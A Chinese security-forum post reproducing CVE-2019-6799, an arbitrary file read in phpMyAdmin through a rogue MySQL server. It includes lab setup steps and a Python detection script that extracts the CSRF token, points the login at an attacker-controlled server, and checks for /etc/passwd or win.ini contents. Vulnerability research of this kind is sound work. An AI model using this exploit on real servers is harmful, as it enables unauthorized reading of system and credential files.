第一次发文章,感觉自己好菜拿不出来什么好东西分享,只能写写小小的检测脚本了。这个漏洞复现方法真的是找了好久。搜CVE编号怎么都搜不到,最后搜索AllowArbitraryServer找到的,和CVE描述一模一样的任意文件读取漏洞。(哎,我太菜了只能到处找方法来复现)。也算是搬运一下方法吧。脚本写的比较简陋也不够优雅,仅供参考QAQ
当AllowArbitraryServer配置被设置成为‘true’时,我们可以在登录页面设置所连接服务器的IP。
于是构造恶意MYSQL服务器,使用恶意MYSQL服务器脚本,这时我们在登录页面连接我们的恶意mysql服务器即可完成任意文件读取,访问成功会生成日志,日志中会包含已读到的文件。
恶意mysql服务下载地址:
https://github.com/vulnspy/phpmyadmin-4.8.4-allowarbitraryserver
漏洞影响范围:
版本号:4.0 - 4.8.4
这里我用的是phpmyadmin-4.8.4
环境搭建:这个应该没什么说的了。直接把phpmyadmin放在网站根目录下访问就行了
修改配置文件:/phpmyadmin/libraries/config.default.php文件将AllowArbitraryServer改为true
这个值默认是false(所以其实这个漏洞挺鸡肋的,很少有人会把远程访问mysql服务器的配置打开)
false时的这样:
true时的这样:
ok。这里环境就配置完成了
可以开始复现了,过程很简单
恶意MYSQL服务器IP:10.0.13.171
目标phpmyadmin服务器IP:10.0.13.178
1.打开我们之前准备好的恶意mysql
2.这里我为了之后写poc脚本方便所以改了红框里的地方
3.运行该脚本
监听已经开启
4.我们在目标服务器上访问我们的恶意mysql服务器
5.查看恶意mysql服务器生成的日志文件
看到登陆上去了(账号密码随便输入),肯定会报错,这里不用管他,直接查看我们的日志
读取到了/etc/passwd的内容
到这里复现就完成了。
poc编写也比较常规,唯一要注意的是这里登录的时候需要带有token,不然会话会被重置。
1.为了多次检测不会造成端口占用,我们先调用系统命令查看是否需要kill掉之前的服务
#由于判断是读取日志文件中的内容,并且我们一定会多次运行POC,所以先判断一下文件是否存在,并且通过系统命令干掉之前的恶意mysql进程,防止端口冲突
if os.path.isfile(mysql_file_log):
#os.system('rm -f {filename}'.format(filename=mysql_file_log))
cmd1 = 'pgrep -f rogue_mysql_server.py'
cmd_sub = subprocess.Popen(cmd1, stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
shell=True
)
bad_sql_pid = cmd_sub.stdout.read()
if bad_sql_pid != '':
os.system('kill -9 {pid}'.format(pid=bad_sql_pid))
else:
pass
else:
pass
# 执行rogue_mysql_server
os.system('python2 rogue_mysql_server.py')
2.这里我们需要带token访问
token一般会在html源码或者http响应头里,这里的在源码中
于是我们需要通过bs4来提取这里的token,记着一定要开启session来传数据,因为每个session的token是唯一的。直接爬的话,token会不一致的。
关键代码如下
#第一次获取cookie和token
#定义路径和请求头
pma_path = '/phpmyadmin/'
url = 'http://{ip}:{port}{pma_path}'.format(ip=ip,port=port,pma_path=pma_path)
get_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36"}
#因为要带token访问,所以我们一定要在一个session中进行请求
s = requests.session()
res1 = s.get(url,headers=get_headers)
html_text = res1.text
cookie_headers = res1.headers
#获取响应头中cookie,下次访问需要带着这里的cookie
set_cookie = cookie_headers['Set-Cookie']
#通过正则匹配拿到cookie值
pma_id_re_rule = re.compile(r'phpMyAdmin=(.*); path=')
pma_id = pma_id_re_rule.search(set_cookie).group(1)
#创建bs对象,获取表单的token
bs = BeautifulSoup(html_text,'html.parser')
items = bs.find(class_='disableAjax')、
#有多个input标签我们筛选name=token的那个
token_item = items.find_all('input',attrs={'name':'token'})
token = token_item[0]['value']
#这里需要给token进行url编码
token_urlencode = urllib.quote(token)
#组合我们的POST的data数据
data = 'set_session={pma_id}&pma_servername={lhost}:{lport}&pma_username=root&pma_password=root&server=1&target=index.php&token={token}'.format(pma_id=pma_id,lhost=lhost,lport=lport,token=token_urlencode)
#第二次带token访问
post_headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36",
"Connection": "close",
"Content-Type": "application/x-www-form-urlencoded"
}
#发送POST数据
res2 = s.post(url,headers=post_headers,data=data)
#print len(res2.text)
s.close()
print 'data send ok'
3.读取日志文件并判断
这里我们只是用来检测漏洞是否存在,因此我们就读win.ini和passwd文件。并且通过简单的正则判断是否存在关键字即可
#打开日志文件并查看内容
file1 = open(mysql_file_log, 'r')
file_content = file1.read()
file1.close()
#print file_content
#正则匹配两种内容,一种是win.ini,一种是/etc/passwd的内容。这样我们不管对方是windows还是linux都可以进行判断。
windows_re_rule = re.compile(r'.*app support.*fonts.*extensions',re.I)
linux_re_rule = re.compile(r'root:x:0:0:',re.I)
#直接判断正则表达式的bool值,如果为true即存在漏洞,否则没有漏洞。
windows_mt_bool = bool(windows_re_rule.search(file_content))
linux_mt_bool = bool(linux_re_rule.search(file_content))
if windows_mt_bool:
print('CVE-2019-6799 exists')
elif linux_mt_bool:
print('CVE-2019-6799 exists')
else:
print('no vul')
ok。这样检测脚本就写好啦。
检测结果是这样的:
完整脚本见附件!
https://www.vulnspy.com/en-phpmyadmin-load-data-local-file-read-local-file/
https://www.youtube.com/watch?v=h6Xy5c0Pkyg
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
奖励系统 | 50.00 | 0 | 2020-06-15 22:10:09 | 投稿满 5 赞奖励 |
admin | 100.00 | 0 | 2020-06-15 15:03:19 | 支持! |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.
宇
发表于 2020-6-15
顶一波
评论列表
加载数据中...
逸辰
发表于 2020-6-15
dlddddhm
评论列表
加载数据中...
mcav
发表于 2020-6-18
顶一波
评论列表
加载数据中...
urfyyyy
发表于 2020-6-20
不错哦~
评论列表
加载数据中...
2661182172
发表于 2020-8-4
大佬强呀
评论列表
加载数据中...
linuxlz
发表于 2020-12-9
sdfsf
评论列表
加载数据中...
哪吒
发表于 2021-3-13
顶
评论列表
加载数据中...
morick
发表于 2021-7-31
hi
评论列表
加载数据中...
1596376292
发表于 2021-11-21
666
评论列表
加载数据中...
kabasiji9696
发表于 2022-3-1
666
评论列表
加载数据中...
lc_shell
发表于 2022-11-30
666
评论列表
加载数据中...